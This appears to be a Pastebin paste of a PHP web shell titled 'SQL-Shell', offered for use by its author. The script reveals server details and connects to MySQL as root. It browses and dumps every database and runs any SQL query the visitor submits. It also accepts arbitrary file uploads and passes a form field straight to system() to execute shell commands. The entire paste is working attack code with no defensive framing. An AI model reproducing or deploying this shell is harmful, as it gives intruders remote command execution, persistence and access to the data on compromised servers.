Advertisement
Guest User

SQL Shell

a guest
Dec 17th, 2014
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.26 KB | None | 0 0
  1. <head>
  2. <title>SQL-Shell : rummykhan </title>
  3. <style type="text/css">
  4.     .main{
  5.         color:white;
  6.         background-color: black;
  7.         background-image: url(http://s29.postimg.org/isfa5pn8n/Anonymous_1680x1050.jpg);
  8.     }
  9.     .heading{
  10.         color:green;
  11.         font-weight: bold;
  12.     }
  13.     .pad{
  14.         padding: 5px;
  15.     }
  16. </style>
  17. </head>
  18. <body class="main">
  19. <?php echo '<span class="heading">Server : </span>'.php_uname(); ?>
  20. <br>
  21. <br>
  22. <center>
  23.     <form method="GET" action="">
  24.     <table>
  25.     <tr>
  26.         <td><span class="heading">Query :</span></td>
  27.         <td><textarea name="usrquery" rows="5" cols="40" ><?php if(isset($_GET['usrquery'])){echo $_GET['usrquery'];} ?></textarea></td>
  28.     </tr>
  29.     <tr>
  30.         <td></td>
  31.         <td><input type="submit" name="runquery" value="Submit"></td>
  32.     </tr>
  33.     </table>
  34.     </form>
  35. <?php
  36. error_reporting(0);
  37.  
  38. function querydb($query){
  39.     $counter = 0;
  40.     $result = mysql_query($query) or die(mysql_error());
  41.     echo '<table border="1" width="35%">';
  42.     while($row = mysql_fetch_array($result)){
  43.         $counter++;
  44.         echo '<tr>';
  45.         echo '<td class="pad">'.$counter.'</td>';
  46.        
  47.         for ($i=0; $i < count($row); $i++) {
  48.             if(isset($row[$i])){
  49.                 echo '<td class="pad">'.$row[$i].'</td>';
  50.             }
  51.         }
  52.         echo '</tr>';
  53.     }
  54.     $counter=0;
  55.     echo '</table>';
  56. }
  57.  
  58. $user = 'root';
  59. $pass = '';
  60. $host = 'localhost';
  61.  
  62. $db = $_GET['db'];
  63. $table = $_GET['tbl'];
  64. $usrquery = $_GET['usrquery'];
  65.  
  66. if(mysql_connect($host,$user,$pass)){
  67.     if(isset($usrquery)){
  68.         mysql_select_db($_COOKIE['db']);
  69.         if (strpos($usrquery, 'INSERT')!==false || strpos($usrquery, 'UPDATE')!==false) {
  70.             if(mysql_query($usrquery)){
  71.                 echo 'Query Success<br>';
  72.             }else{
  73.                 die(mysql_error());
  74.             }
  75.         }elseif (strpos($usrquery, 'SELECT')!==false || strpos($usrquery, 'select')!==false) {
  76.             echo '<span class="heading">Your Query Output : </span><br>';
  77.             querydb($usrquery);
  78.         }
  79.     }
  80.     if($db==''){
  81.         echo '<span class="heading">DBs : </span><br>';
  82.         querydb('SELECT schema_name FROM information_schema.schemata');
  83.     }else{
  84.         setcookie('db',$db);
  85.         if(isset($table) && isset($db)){
  86.             echo '<span class="heading">Columns : </span><br>';
  87.             querydb("SELECT column_name FROM information_schema.columns WHERE table_schema='".$db."' AND table_name = '".$table."'");
  88.             echo '<span class="heading">Data : </span><br>';
  89.             querydb("SELECT * FROM ".$db.".".$table);
  90.         }else{
  91.             echo '<span class="heading">Tables : </span><br>';
  92.             querydb("SELECT table_name FROM information_schema.tables where table_schema='".$db."'");
  93.         }
  94.     }
  95. }else{
  96.     die(mysql_error());
  97. }
  98.  
  99.  
  100.  
  101. //Uploader Code
  102. echo '<br>';
  103. if($_POST["_upl"] == "Upload" ) {if(@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) { echo "<b>Upload !!!</b><br><br>"; }}
  104.  
  105. ?>
  106. <html><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file"><input name="_upl" type="submit" id="_upl" value="Upload"></form></html>
  107. <form method="POST" action="">
  108.     <span class="heading">cmd@b0x : </span>
  109.     <input type="text" name="system" value="<?php if(isset($_POST['system'])){echo $_POST['system'];}?>">
  110.     <input type="submit" name="execute" value="Execute">
  111. </form>
  112. <span class="heading">
  113. <?php
  114.  
  115. if(isset($_POST['execute'])){
  116.     if(!empty($_POST['system'])){
  117.         system($_POST['system']);
  118.     }
  119. }
  120. ?>
  121. </span>
  122. </center>
  123. </body>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement